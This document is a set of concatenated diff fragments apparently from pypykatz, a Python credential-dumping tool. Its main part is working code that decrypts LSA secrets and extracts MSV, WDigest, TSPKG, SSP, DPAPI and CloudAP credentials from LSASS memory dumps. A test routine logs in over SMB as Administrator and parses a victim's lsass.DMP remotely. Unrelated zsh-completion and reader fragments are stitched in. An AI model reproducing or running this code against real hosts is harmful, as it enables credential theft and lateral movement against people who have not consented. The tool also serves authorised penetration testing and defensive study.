143 | In case of error, please attach this to the issues page | |
144 | """ | |
145 | logger.info('===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====') | |
146 | logger.info('pypyKatz version: %s' % __version__) | |
147 | logger.info('CPU arch: %s' % self.sysinfo.architecture.name) | |
148 | logger.info('OS: %s' % self.sysinfo.operating_system) | |
149 | logger.info('BuildNumber: %s' % self.sysinfo.buildnumber) | |
150 | logger.info('MajorVersion: %s ' % self.sysinfo.major_version) | |
151 | logger.info('MSV timestamp: %s' % self.sysinfo.msv_dll_timestamp) | |
152 | logger.info('===== BASIC INFO END =====') | |
153 | ||
154 | async def get_logoncreds(self): | |
155 | credman_template = CredmanTemplate.get_template(self.sysinfo) | |
156 | msv_template = MsvTemplate.get_template(self.sysinfo) | |
157 | logoncred_decryptor = MsvDecryptor(self.reader, msv_template, self.lsa_decryptor, credman_template, self.sysinfo) | |
158 | await logoncred_decryptor.start() | |
159 | self.logon_sessions = logoncred_decryptor.logon_sessions | |
160 | ||
161 | async def get_lsa_bruteforce(self): | |
162 | #good luck! | |
163 | logger.debug('Testing all available templates! Expect warnings!') | |
164 | for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): | |
165 | try: | |
166 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) | |
167 | await lsa_dec.acquire_crypto_material() | |
168 | lsa_dec.dump() | |
169 | except: | |
170 | pass | |
171 | else: | |
172 | logger.debug('Lucky you! Brutefoce method found a -probably- working template!') | |
173 | return lsa_dec | |
174 | ||
175 | async def get_lsa(self): | |
176 | #trying with automatic template detection | |
177 | try: | |
178 | lsa_dec_template = LsaTemplate.get_template(self.sysinfo) | |
179 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) | |
180 | await lsa_dec.acquire_crypto_material() | |
181 | lsa_dec.dump() | |
182 | except Exception as e: | |
183 | logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) | |
184 | lsa_dec = await self.get_lsa_bruteforce() | |
185 | if lsa_dec is None: | |
186 | raise Exception('All detection methods failed.') | |
187 | return lsa_dec | |
188 | else: | |
189 | return lsa_dec | |
190 | ||
191 | async def get_wdigest(self): | |
192 | decryptor_template = WdigestTemplate.get_template(self.sysinfo) | |
193 | decryptor = WdigestDecryptor(self.reader, decryptor_template, self.lsa_decryptor, self.sysinfo) | |
194 | await decryptor.start() | |
195 | for cred in decryptor.credentials: | |
196 | if cred.luid in self.logon_sessions: | |
197 | self.logon_sessions[cred.luid].wdigest_creds.append(cred) | |
198 | else: | |
199 | self.orphaned_creds.append(cred) | |
200 | ||
201 | async def get_tspkg(self): | |
202 | tspkg_dec_template = TspkgTemplate.get_template(self.sysinfo) | |
203 | tspkg_dec = TspkgDecryptor(self.reader, tspkg_dec_template, self.lsa_decryptor, self.sysinfo) | |
204 | await tspkg_dec.start() | |
205 | for cred in tspkg_dec.credentials: | |
206 | if cred.luid in self.logon_sessions: | |
207 | self.logon_sessions[cred.luid].tspkg_creds.append(cred) | |
208 | else: | |
209 | self.orphaned_creds.append(cred) | |
210 | ||
211 | async def get_ssp(self): | |
212 | dec_template = SspTemplate.get_template(self.sysinfo) | |
213 | dec = SspDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) | |
214 | await dec.start() | |
215 | for cred in dec.credentials: | |
216 | if cred.luid in self.logon_sessions: | |
217 | self.logon_sessions[cred.luid].ssp_creds.append(cred) | |
218 | else: | |
219 | self.orphaned_creds.append(cred) | |
220 | ||
221 | async def get_livessp(self): | |
222 | livessp_dec_template = LiveSspTemplate.get_template(self.sysinfo) | |
223 | livessp_dec = LiveSspDecryptor(self.reader, livessp_dec_template, self.lsa_decryptor, self.sysinfo) | |
224 | await livessp_dec.start() | |
225 | for cred in livessp_dec.credentials: | |
226 | if cred.luid in self.logon_sessions: | |
227 | self.logon_sessions[cred.luid].livessp_creds.append(cred) | |
228 | else: | |
229 | self.orphaned_creds.append(cred) | |
230 | ||
231 | async def get_dpapi(self): | |
232 | dec_template = DpapiTemplate.get_template(self.sysinfo) | |
233 | dec = DpapiDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) | |
234 | await dec.start() | |
235 | for cred in dec.credentials: | |
236 | if cred.luid in self.logon_sessions: | |
237 | self.logon_sessions[cred.luid].dpapi_creds.append(cred) | |
238 | else: | |
239 | self.orphaned_creds.append(cred) | |
240 | ||
241 | #async def get_kerberos(self, with_tickets = True): | |
242 | # dec_template = KerberosTemplate.get_template(self.sysinfo) | |
243 | # dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) | |
244 | # await dec.start() | |
245 | # for cred in dec.credentials: | |
246 | # for ticket in cred.tickets: | |
247 | # for fn in ticket.kirbi_data: | |
248 | # self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native) | |
249 | # | |
250 | # if cred.luid in self.logon_sessions: | |
251 | # self.logon_sessions[cred.luid].kerberos_creds.append(cred) | |
252 | # else: | |
253 | # self.orphaned_creds.append(cred) | |
254 | ||
255 | async def get_cloudap(self): | |
256 | cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo) | |
257 | if cloudap_dec_template is None: | |
258 | return | |
259 | cloudap_dec = CloudapDecryptor(self.reader, cloudap_dec_template, self.lsa_decryptor, self.sysinfo) | |
260 | await cloudap_dec.start() | |
261 | for cred in cloudap_dec.credentials: | |
262 | if cred.luid in self.logon_sessions: | |
263 | self.logon_sessions[cred.luid].cloudap_creds.append(cred) | |
264 | else: | |
265 | self.orphaned_creds.append(cred) | |
266 | ||
267 | async def start(self, packages = ['all']): | |
268 | #self.log_basic_info() | |
269 | #input() | |
270 | self.lsa_decryptor = await self.get_lsa() | |
271 | if 'msv' in packages or 'all' in packages: | |
272 | try: | |
273 | await self.get_logoncreds() | |
274 | except Exception as e: | |
275 | self.errors.append(('msv', e)) | |
276 | ||
277 | if 'wdigest' in packages or 'all' in packages: | |
278 | try: | |
279 | await self.get_wdigest() | |
280 | except Exception as e: | |
281 | self.errors.append(('wdigest', e)) | |
282 | ||
283 | #if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages: | |
284 | # with_tickets = False | |
285 | # if 'ktickets' in packages or 'all' in packages: | |
286 | # with_tickets = True | |
287 | # await self.get_kerberos(with_tickets) | |
288 | ||
289 | if 'tspkg' in packages or 'all' in packages: | |
290 | try: | |
291 | await self.get_tspkg() | |
292 | except Exception as e: | |
293 | self.errors.append(('tspkg', e)) | |
294 | ||
295 | if 'ssp' in packages or 'all' in packages: | |
296 | try: | |
297 | await self.get_ssp() | |
298 | except Exception as e: | |
299 | self.errors.append(('ssp', e)) | |
300 | ||
301 | if 'livessp' in packages or 'all' in packages: | |
302 | try: | |
303 | await self.get_livessp() | |
304 | except Exception as e: | |
305 | self.errors.append(('livessp', e)) | |
306 | ||
307 | if 'dpapi' in packages or 'all' in packages: | |
308 | try: | |
309 | await self.get_dpapi() | |
310 | except Exception as e: | |
311 | self.errors.append(('dpapi', e)) | |
312 | ||
313 | if 'cloudap' in packages or 'all' in packages: | |
314 | try: | |
315 | await self.get_cloudap() | |
316 | except Exception as e: | |
317 | self.errors.append(('cloudap', e)) | |
318 | ||
319 | async def amain(): | |
320 | from aiosmb.commons.connection.url import SMBConnectionURL | |
321 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
322 | ||
323 | import sys | |
324 | f=sys.argv[1] | |
325 | print(f) | |
326 | ||
327 | url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP' | |
328 | smburl = SMBConnectionURL(url) | |
329 | connection = smburl.get_connection() | |
330 | smbfile = smburl.get_file() | |
331 | ||
332 | async with connection: | |
333 | _, err = await connection.login() | |
334 | if err is not None: | |
335 | raise err | |
336 | ||
337 | _, err = await smbfile.open(connection) | |
338 | if err is not None: | |
339 | raise err | |
340 | ||
341 | mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile)) | |
342 | print(mimi) | |
343 | ||
344 | def main(): | |
345 | import logging | |
346 | logging.basicConfig(level=1) | |
347 | asyncio.run(amain()) | |
348 | ||
349 | if __name__ == '__main__': | |
350 | main()⏎ |
0 | #!/usr/bin/env python3 | |
1 | # -*- coding: utf-8 -*- | |
2 | # | |
3 | # zpycompletion | |
4 | # | |
5 | # Copyright 2015 Spencer McIntyre <[email protected]> | |
6 | # | |
7 | # Redistribution and use in source and binary forms, with or without | |
8 | # modification, are permitted provided that the following conditions are | |
9 | # met: | |
10 | # | |
11 | # * Redistributions of source code must retain the above copyright | |
12 | # notice, this list of conditions and the following disclaimer. | |
13 | # * Redistributions in binary form must reproduce the above | |
14 | # copyright notice, this list of conditions and the following disclaimer | |
15 | # in the documentation and/or other materials provided with the | |
16 | # distribution. | |
17 | # * Neither the name of the nor the names of its | |
18 | # contributors may be used to endorse or promote products derived from | |
19 | # this software without specific prior written permission. | |
20 | # | |
21 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS | |
22 | # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT | |
23 | # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | |
24 | # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT | |
25 | # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | |
26 | # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT | |
27 | # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | |
28 | # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | |
29 | # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT | |
30 | # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | |
31 | # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
32 | # | |
33 | ||
34 | import argparse | |
35 | import contextlib | |
36 | import datetime | |
37 | import imp | |
38 | import os | |
39 | import pwd | |
40 | import sys | |
41 | ||
42 | import jinja2 | |
43 | ||
44 | __all__ = ['make_completion_from_argparse'] | |
45 | __version__ = '1.2' | |
46 | ||
47 | # script.arguments | |
48 | # script.author | |
49 | # script.c_year | |
50 | # script.name | |
51 | # script.subparser_cmds | |
52 | # script.subparsers | |
53 | # version | |
54 | ZSH_COMPLETION_TEMPLATE = """\ | |
55 | #compdef {{ script.name }} | |
56 | # ------------------------------------------------------------------------------ | |
57 | # Copyright (c) {{ script.c_year }} {{ script.author }} | |
58 | # All rights reserved. | |
59 | # | |
60 | # Redistribution and use in source and binary forms, with or without | |
61 | # modification, are permitted provided that the following conditions are met: | |
62 | # * Redistributions of source code must retain the above copyright | |
63 | # notice, this list of conditions and the following disclaimer. | |
64 | # * Redistributions in binary form must reproduce the above copyright | |
65 | # notice, this list of conditions and the following disclaimer in the | |
66 | # documentation and/or other materials provided with the distribution. | |
67 | # * Neither the name of the project nor the | |
68 | # names of its contributors may be used to endorse or promote products | |
69 | # derived from this software without specific prior written permission. | |
70 | # | |
71 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND | |
72 | # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED | |
73 | # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE | |
74 | # DISCLAIMED. IN NO EVENT SHALL ZSH-USERS BE LIABLE FOR ANY | |
75 | # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES | |
76 | # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; | |
77 | # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND | |
78 | # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT | |
79 | # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS | |
80 | # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
81 | # ------------------------------------------------------------------------------ | |
82 | # Description | |
83 | # ----------- | |
84 | # | |
85 | # Completion script for {{ script.name }}. | |
86 | # | |
87 | # ------------------------------------------------------------------------------ | |
88 | # Authors | |
89 | # ------- | |
90 | # | |
91 | # * {{ script.author }} | |
92 | # | |
93 | # ------------------------------------------------------------------------------ | |
94 | # Generated with zpycompletion v{{ version }} | |
95 | {% for subparser_cmd in script.subparser_cmds %} | |
96 | ||
97 | {{ subparser_cmd.name }}() { | |
98 | _arguments \\ | |
99 | {% for line in subparser_cmd.arguments %} | |
100 | {{ line }} | |
101 | {% endfor %} | |
102 | } | |
103 | {% endfor %} | |
104 | ||
105 | {% for subparser in script.subparsers %} | |
106 | ||
107 | {{ subparser.name }}() { | |
108 | local -a _subparser_cmds | |
109 | _subparser_cmds=( | |
110 | {% for action in subparser.actions %} | |
111 | "{{ action.name }}:{{ action.help }}" | |
112 | {% endfor %} | |
113 | ) | |
114 | ||
115 | if (( CURRENT == {{ subparser.position }} )); then | |
116 | _describe "commands" _subparser_cmds | |
117 | else | |
118 | local curcontext="$curcontext" | |
119 | cmd="${${_subparser_cmds[(r)$words[{{ subparser.position }}]:*]%%:*}}" | |
120 | if (( $#cmd )); then | |
121 | if (( $+functions[{{ subparser.name }}_cmd_$cmd] )); then | |
122 | {% if subparser.position > 1 -%} | |
123 | (( CURRENT -= {{ subparser.position - 1 }} )) | |
124 | shift {{ subparser.position - 1 }} words | |
125 | {% endif -%} | |
126 | {{ subparser.name }}_cmd_$cmd CURRENT | |
127 | else | |
128 | _files | |
129 | fi | |
130 | else | |
131 | _message "unknown command: $words[{{ subparser.position }}]" | |
132 | fi | |
133 | fi | |
134 | } | |
135 | {% endfor %} | |
136 | _arguments \\ | |
137 | {% for line in script.arguments %} | |
138 | {{ line }} | |
139 | {% endfor %} | |
140 | """ | |
141 | ||
142 | def _actions_sort(action): | |
143 | if len(action.option_strings): | |
144 | return sorted(action.option_strings)[-1] | |
145 | return '' | |
146 | ||
147 | def _argument_action(action): | |
148 | zarg_action = '' | |
149 | if action.choices: | |
150 | zarg_action = ':(' + ' '.join(action.choices) + ')' | |
151 | elif isinstance(action.type, argparse.FileType): | |
152 | zarg_action = ':_files' | |
153 | return zarg_action | |
154 | ||
155 | class _ZshCompletion(object): | |
156 | def __init__(self, parser): | |
157 | self.parser = parser | |
158 | self.arguments = [] | |
159 | self.subparsers = [] | |
160 | self.subparser_cmds = [] | |
161 | actions = sorted(self.parser._actions, key=_actions_sort) | |
162 | self.arguments = self._parse_actions(actions) | |
163 | ||
164 | def _parse_actions(self, actions, subparser_name=None): | |
165 | lines = [] | |
166 | subparser = None | |
167 | positional = 1 | |
168 | for action in actions: | |
169 | if isinstance(action, argparse._SubParsersAction): | |
170 | subparser = (action, positional) | |
171 | continue | |
172 | if isinstance(action, argparse._HelpAction): | |
173 | lines.append("{-h,--help}\"[show help text]\"") | |
174 | continue | |
175 | ||
176 | if len(action.option_strings) == 0: # positional | |
177 | if isinstance(action.nargs, int) and action.nargs > 1: | |
178 | for _ in range(positional, (positional + action.nargs)): | |
179 | lines.append("\"{0}::{1}{2}\"".format(positional, action.dest, _argument_action(action))) | |
180 | positional += 1 | |
181 | continue | |
182 | elif action.nargs in (argparse.REMAINDER, '*', '+'): | |
183 | line = '"*' | |
184 | elif action.nargs in (None, 1, '?'): | |
185 | line = '"' + str(positional) | |
186 | positional += 1 | |
187 | line += ':' + action.dest | |
188 | else: | |
189 | if len(action.option_strings) == 1: | |
190 | options = '"' + action.option_strings[0] | |
191 | else: | |
192 | options = '{' + ','.join(action.option_strings) + '}"' | |
193 | if isinstance(action, argparse._AppendAction): | |
194 | line = '"*"' + options + "[{0}]:{1}".format(action.help, action.dest.replace('_', ' ')) | |
195 | elif isinstance(action, argparse._StoreAction): | |
196 | line = options + "[{0}]:{1}".format(action.help, action.dest.replace('_', ' ')) | |
197 | elif isinstance(action, argparse._VersionAction): | |
198 | line = options + '[show version information]' | |
199 | elif isinstance(action, argparse._StoreConstAction): | |
200 | line = options + '[' + action.help + ']' | |
201 | else: | |
202 | continue | |
203 | line += _argument_action(action) + '"' | |
204 | lines.append(line) | |
205 | ||
206 | if subparser: | |
207 | subparser, position = subparser | |
208 | subp_actions = map(lambda a: dict(name=a.dest, help=a.help), subparser._choices_actions) | |
209 | subp_dest = ('action' if subparser.dest == argparse.SUPPRESS else subparser.dest) | |
210 | subp_name = (subparser_name or '_subparser') + '_' + subp_dest | |
211 | self.subparsers.append(dict(name=subp_name, position=position, actions=subp_actions)) | |
212 | ||
213 | lines.append("\"*::{0}:{1}\"".format(subp_dest, subp_name)) | |
214 | for key, value in subparser._name_parser_map.items(): | |
215 | subp_cmd_name = "{0}_cmd_{1}".format(subp_name, key) | |
216 | subp_cmd_arguments = self._parse_actions(value._actions, subparser_name=subp_name) | |
217 | self.subparser_cmds.append(dict(name=subp_cmd_name, arguments=subp_cmd_arguments)) | |
218 | ||
219 | for i in range(len(lines) - 1): | |
220 | lines[i] = lines[i] + ' \\' | |
221 | return lines | |
222 | ||
223 | def make_completion_from_argparse(parser, destination=None, input_prompt=True): | |
224 | """ | |
225 | Create a zsh completion file from a :py:class:`argparse.ArgumentParser` | |
226 | instance. | |
227 | ||
228 | :param parser: The parser instance to build completions for. | |
229 | :type parser: :py:class:`argparse.ArgumentParser` | |
230 | :param bool input_prompt: Whether to prompt for user input or not. | |
231 | """ | |
232 | script = {} | |
233 | #script['author'] = pwd.getpwuid(os.getuid()).pw_gecos | |
234 | #if input_prompt: | |
235 | # script['author'] = input("[?] author ({0}): ".format(script['author'])) or script['author'] | |
236 | #script['c_year'] = datetime.date.today().year | |
237 | #if input_prompt: | |
238 | # script['c_year'] = input("[?] copyright year ({0}): ".format(script['c_year'])) or script['c_year'] | |
239 | #script['name'] = parser.prog | |
240 | #if input_prompt: | |
241 | # script['name'] = input("[?] script name ({0}): ".format(script['name'])) or script['name'] | |
242 | ||
243 | zsh_comp = _ZshCompletion(parser) | |
244 | script['arguments'] = zsh_comp.arguments | |
245 | script['subparsers'] = zsh_comp.subparsers | |
246 | script['subparser_cmds'] = zsh_comp.subparser_cmds | |
247 | ||
248 | return script | |
249 | #env = jinja2.Environment(trim_blocks=True) | |
250 | #template = env.from_string(ZSH_COMPLETION_TEMPLATE) | |
251 | #destination = destination or '_' + script['name'] | |
252 | #with open(destination, 'w') as file_h: | |
253 | # file_h.write(template.render(script=script, version=__version__)) | |
254 | #print('[*] completion saved as: ' + destination) | |
255 | ||
256 | class _FakeArgparse(object): | |
257 | def __init__(self): | |
258 | self.parser = None | |
259 | ||
260 | def __getattr__(self, name): | |
261 | if name == 'ArgumentParser': | |
262 | return self._hook | |
263 | return getattr(argparse, name) | |
264 | ||
265 | def _hook(self, *args, **kwargs): | |
266 | self.parser = argparse.ArgumentParser(*args, **kwargs) | |
267 | return self.parser | |
268 | ||
269 | @contextlib.contextmanager | |
270 | def _muted_std_streams(): | |
271 | stdout = sys.stdout | |
272 | stderr = sys.stderr | |
273 | sys.stdout = open(os.devnull, 'w') | |
274 | sys.stderr = open(os.devnull, 'w') | |
275 | try: | |
276 | yield | |
277 | except Exception: | |
278 | raise | |
279 | finally: | |
280 | sys.stdout = stdout | |
281 | sys.stderr = stderr | |
282 | ||
283 | def main(): | |
284 | parser = argparse.ArgumentParser() | |
285 | parser.add_argument('-m', '--method', dest='target_function', default='main', help='the function which creates the ArgumentParser instance') | |
286 | parser.add_argument('-o', '--output', dest='output', help='the path to write the completion file to') | |
287 | parser.add_argument('--no-prompt', dest='input_prompt', default=True, action='store_false', help='do not prompt for input') | |
288 | parser.add_argument('script', help='the python script to load from') | |
289 | arguments = parser.parse_args() | |
290 | ||
291 | script = os.path.abspath(arguments.script) | |
292 | if not os.path.isfile(script): | |
293 | print('[-] invalid script file: ' + script) | |
294 | return | |
295 | script_path, script_name = os.path.split(script) | |
296 | ||
297 | sys.path.append(script_path) | |
298 | script_import_name = script_name | |
299 | if script_import_name.endswith('.py'): | |
300 | script_import_name = script_name[:-3] | |
301 | ||
302 | sys.dont_write_bytecode = True | |
303 | sys.modules['argparse'] = _FakeArgparse() | |
304 | print('[*] importing: ' + script_import_name) | |
305 | try: | |
306 | module = imp.load_source(script_import_name, script) | |
307 | except SyntaxError: | |
308 | print('[!] failed to import the python file') | |
309 | return | |
310 | ||
311 | if not hasattr(module, arguments.target_function): | |
312 | print("[-] the specified script has no {0}() function".format(arguments.target_function)) | |
313 | print('[-] can not automatically get the parser instance') | |
314 | return | |
315 | ||
316 | sys.argv = [script_name, '--help'] | |
317 | try: | |
318 | with _muted_std_streams(): | |
319 | getattr(module, arguments.target_function)() | |
320 | except SystemExit: | |
321 | pass | |
322 | if not sys.modules['argparse'].parser: | |
323 | print("[-] no parser was created in {0}.{1}()".format(script_name, arguments.target_function)) | |
324 | return | |
325 | make_completion_from_argparse(sys.modules['argparse'].parser, destination=arguments.output, input_prompt=arguments.input_prompt) | |
326 | ||
327 | if __name__ == '__main__': | |
328 | main()⏎ |
0 | ||
1 | import pprint | |
2 | from .argparsertest import make_completion_from_argparse | |
3 | ||
4 | ||
5 | def argpretty(parser): | |
6 | ||
7 | #print(1) | |
8 | #input(pprint.pprint(parser.__dict__)) | |
9 | #print(2) | |
10 | #input(pprint.pprint(parser.__dict__['_actions'])) | |
11 | ||
12 | x = make_completion_from_argparse(parser) | |
13 | pprint.pprint(x['subparsers']) | |
14 | ||
15 | for key in x: | |
16 | print(key) | |
17 | ||
18 | input() | |
19 | for rd in x['subparser_cmds']: | |
20 | print(rd['name']) | |
21 | ||
22 | ||
23 | input()⏎ |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import traceback | |
5 | 6 | import enum |
6 | 7 | import json |
7 | 8 | import datetime |
8 | 9 | from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE |
10 | ||
11 | def geterr(err:Exception): | |
12 | t = str(err) + '\r\n' | |
13 | for line in traceback.format_tb(err.__traceback__): | |
14 | t += line | |
15 | return t | |
9 | 16 | |
10 | 17 | class KatzSystemArchitecture(enum.Enum): |
11 | 18 | X86 = enum.auto() |
168 | 175 | else: |
169 | 176 | self.move(pos) |
170 | 177 | return self.read_uint() |
178 | #raw_data = self.read(pos, self.sizeof_long) | |
179 | #return struct.unpack(self.unpack_long, raw_data)[0] | |
180 | ||
181 | class AGenericReader: | |
182 | def __init__(self, data, processor_architecture = KatzSystemArchitecture.X64): | |
183 | """ | |
184 | data is bytes | |
185 | """ | |
186 | self.processor_architecture = processor_architecture | |
187 | self.start_address = 0 | |
188 | self.end_address = len(data) | |
189 | self.size = len(data) | |
190 | self.data = data | |
191 | self.current_position = 0 | |
192 | ||
193 | def inrange(self, ptr): | |
194 | return self.start_address <= ptr <= self.end_address | |
195 | ||
196 | async def seek(self, offset, whence = 0): | |
197 | """ | |
198 | Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets. | |
199 | 0: beginning of the current memory segment | |
200 | 1: from current position | |
201 | 2: from the end of the current memory segment | |
202 | If you wish to move out from the segment, use the 'move' function | |
203 | """ | |
204 | if whence == 0: | |
205 | t = self.start_address + offset | |
206 | elif whence == 1: | |
207 | t = self.current_position + offset | |
208 | elif whence == 2: | |
209 | t = self.end_address - offset | |
210 | else: | |
211 | raise Exception('Seek function whence value must be between 0-2') | |
212 | ||
213 | if not self.inrange(t): | |
214 | raise Exception('Seek would point out of buffer') | |
215 | ||
216 | self.current_position = t | |
217 | return | |
218 | ||
219 | async def move(self, address): | |
220 | """ | |
221 | Moves the buffer to a virtual address specified by address | |
222 | """ | |
223 | await self.seek(address) | |
224 | return | |
225 | ||
226 | async def align(self, alignment = None): | |
227 | """ | |
228 | Repositions the current reader to match architecture alignment | |
229 | """ | |
230 | if alignment is None: | |
231 | if self.processor_architecture == KatzSystemArchitecture.X64: | |
232 | alignment = 8 | |
233 | else: | |
234 | alignment = 4 | |
235 | offset = self.current_position % alignment | |
236 | if offset == 0: | |
237 | return | |
238 | offset_to_aligned = (alignment - offset) % alignment | |
239 | await self.seek(offset_to_aligned, 1) | |
240 | return | |
241 | ||
242 | def tell(self): | |
243 | """ | |
244 | Returns the current virtual address | |
245 | """ | |
246 | return self.current_position | |
247 | ||
248 | async def peek(self, length): | |
249 | """ | |
250 | Returns up to length bytes from the current memory segment | |
251 | """ | |
252 | t = self.current_position + length | |
253 | if not self.inrange(t): | |
254 | raise Exception('Would read out of buffer!') | |
255 | return self.data[self.current_position - self.start_address :t - self.start_address] | |
256 | ||
257 | async def read(self, size = -1): | |
258 | """ | |
259 | Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment | |
260 | """ | |
261 | if size < -1: | |
262 | raise Exception('You shouldnt be doing this') | |
263 | if size == -1: | |
264 | oldnew_pos = self.current_position | |
265 | self.current_position = self.end_address | |
266 | return self.data[oldnew_pos:] | |
267 | ||
268 | t = self.current_position + size | |
269 | if not self.inrange(t): | |
270 | raise Exception('Would read out of buffer!') | |
271 | ||
272 | old_new_pos = self.current_position | |
273 | self.current_position = t | |
274 | return self.data[old_new_pos:t] | |
275 | ||
276 | async def read_int(self): | |
277 | """ | |
278 | Reads an integer. The size depends on the architecture. | |
279 | Reads a 4 byte small-endian singed int on 32 bit arch | |
280 | Reads an 8 byte small-endian singed int on 64 bit arch | |
281 | """ | |
282 | if self.processor_architecture == KatzSystemArchitecture.X64: | |
283 | t = await self.read(8) | |
284 | return int.from_bytes(t, byteorder = 'little', signed = True) | |
285 | else: | |
286 | t = await self.read(4) | |
287 | return int.from_bytes(t, byteorder = 'little', signed = True) | |
288 | ||
289 | async def read_uint(self): | |
290 | """ | |
291 | Reads an integer. The size depends on the architecture. | |
292 | Reads a 4 byte small-endian unsinged int on 32 bit arch | |
293 | Reads an 8 byte small-endian unsinged int on 64 bit arch | |
294 | """ | |
295 | if self.processor_architecture == KatzSystemArchitecture.X64: | |
296 | t = await self.read(8) | |
297 | return int.from_bytes(t, byteorder = 'little', signed = False) | |
298 | else: | |
299 | t = await self.read(4) | |
300 | return int.from_bytes(t, byteorder = 'little', signed = False) | |
301 | ||
302 | async def find(self, pattern): | |
303 | """ | |
304 | Searches for a pattern in the current memory segment | |
305 | """ | |
306 | pos = await self.data.find(pattern) | |
307 | if pos == -1: | |
308 | return -1 | |
309 | return pos + self.current_position | |
310 | ||
311 | async def find_all(self, pattern): | |
312 | """ | |
313 | Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list | |
314 | """ | |
315 | pos = [] | |
316 | last_found = -1 | |
317 | while True: | |
318 | last_found = await self.data.find(pattern, last_found + 1) | |
319 | if last_found == -1: | |
320 | break | |
321 | pos.append(last_found + self.start_address) | |
322 | ||
323 | return pos | |
324 | ||
325 | async def get_ptr(self, pos): | |
326 | await self.move(pos) | |
327 | return await self.read_uint() | |
328 | #raw_data = self.read(pos, self.sizeof_ptr) | |
329 | #return struct.unpack(self.unpack_ptr, raw_data)[0] | |
330 | ||
331 | async def get_ptr_with_offset(self, pos): | |
332 | if self.processor_architecture == KatzSystemArchitecture.X64: | |
333 | await self.move(pos) | |
334 | ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True) | |
335 | return pos + 4 + ptr | |
336 | #raw_data = self.read(pos, self.sizeof_long) | |
337 | #ptr = struct.unpack(self.unpack_long, raw_data)[0] | |
338 | #return pos + self.sizeof_long + ptr | |
339 | else: | |
340 | await self.move(pos) | |
341 | return await self.read_uint() | |
171 | 342 | #raw_data = self.read(pos, self.sizeof_long) |
172 | 343 | #return struct.unpack(self.unpack_long, raw_data)[0] |
173 | 344 |
700 | 700 | _fields_ = [ |
701 | 701 | ("Length", USHORT), |
702 | 702 | ("MaximumLength", USHORT), |
703 | ("Buffer", PVOID), | |
703 | ("Buffer", PWSTR), | |
704 | 704 | ] |
705 | 705 | |
706 | 706 | # From MSDN: |
608 | 608 | ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), |
609 | 609 | ] |
610 | 610 | LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW) |
611 | ||
612 | ||
613 | class SYSTEM_PROCESS_ID_INFORMATION(Structure): | |
614 | _fields_ = (('ProcessId', HANDLE), | |
615 | ('ImageName', UNICODE_STRING), | |
616 | ) | |
617 | ||
618 | class SYSTEM_INFORMATION_CLASS(ctypes.c_ulong): | |
619 | def __repr__(self): | |
620 | return '%s(%s)' % (type(self).__name__, self.value) | |
621 | ||
622 | ||
623 | ProcessBasicInformation = SYSTEM_INFORMATION_CLASS(0) | |
624 | ProcessProtectionInformation = SYSTEM_INFORMATION_CLASS(61) | |
625 | SystemExtendedHandleInformation = SYSTEM_INFORMATION_CLASS(64) | |
626 | SystemProcessIdInformation = SYSTEM_INFORMATION_CLASS(88) | |
627 | ||
628 | class PROCESS_BASIC_INFORMATION(Structure): | |
629 | _fields_ = (('Reserved1', PVOID), | |
630 | ('PebBaseAddress', PVOID), | |
631 | ('Reserved2', PVOID * 2), | |
632 | ('UniqueProcessId', ULONG_PTR), | |
633 | ('Reserved3', PVOID)) | |
634 | ||
635 | class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1(Structure): | |
